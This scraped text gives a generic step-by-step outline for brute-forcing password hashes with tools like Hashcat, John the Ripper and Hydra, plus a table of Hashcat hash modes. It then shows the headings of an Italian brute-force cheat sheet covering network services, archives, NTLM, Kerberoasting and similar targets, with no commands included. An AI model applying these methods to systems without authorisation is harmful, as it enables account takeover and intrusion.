Gather Information: Collect as much information as possible about the hash you are trying to crack, such as the hash type and any known details about the password.
Select a Tool: Choose a reliable tool for performing the brute-force attack. There are many tools available, such as John the Ripper, Hashcat, and Hydra.
Set Up the Tool: Configure the tool with the necessary parameters, such as the hash type, character set to use, and any additional options.
Start the Attack: Initiate the brute-force attack and let the tool run through all possible combinations until it finds the correct password.
Optimize: Adjust the attack parameters as needed to optimize the process and increase the chances of success.
Monitor Progress: Keep an eye on the progress of the attack to see how close you are to cracking the hash.
Crack the Hash: Once the correct password is found, use it to crack the hash and gain access to the target system or application.

By following these steps, you can effectively perform a brute-force attack to crack common application hashes.

900 | MD4                                              | Raw Hash
0 | MD5                                              | Raw Hash
5100 | Half MD5                                         | Raw Hash
100 | SHA1                                             | Raw Hash
10800 | SHA-384                                          | Raw Hash
1400 | SHA-256                                          | Raw Hash
1700 | SHA-512                                          | Raw Hash

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42 KiB Raw Blame History Unescape Escape

Brute Force - CheatSheet

Credenziali Predefinite

Crea i tuoi Dizionari

Crunch

Cewl

CUPP

Wister

pydictor

Liste di parole

Servizi

AFP

AJP

AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)

Cassandra

CouchDB

Registro Docker

Elasticsearch

FTP

Brute Force Generico HTTP

WFuzz

Autenticazione di Base HTTP

HTTP - NTLM

HTTP - Invio modulo

HTTP - CMS -- (W)ordpress, (J)oomla o (D)rupal o (M)oodle

IMAP

IRC

ISCSI

JWT

LDAP

MQTT

Brute Force

Mongo

MSSQL

MySQL

OracleSQL

OracleSQL

POP

PostgreSQL

PPTP

RDP

Redis

Rexec

Rlogin

Rsh

Rsync

RTSP

SFTP

SNMP

SMB

SMTP

SOCKS

SQL Server

Brute Force

SSH

Chiavi SSH deboli / PRNG prevedibile di Debian

STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ)

Telnet

VNC

Winrm

Locale

Database di cracking online

ZIP

Attacco zip con testo in chiaro noto

7z

PDF

Password del proprietario del PDF

JWT

Cracking NTLM

Keepass

Keberoasting

Immagine di Lucks

Metodo 1

Metodo 2

Mysql

Chiave privata PGP/GPG

Cisco

Chiave Master DPAPI

Colonna Protetta da Password di Open Office

Certificati PFX

42 KiB

Raw Blame History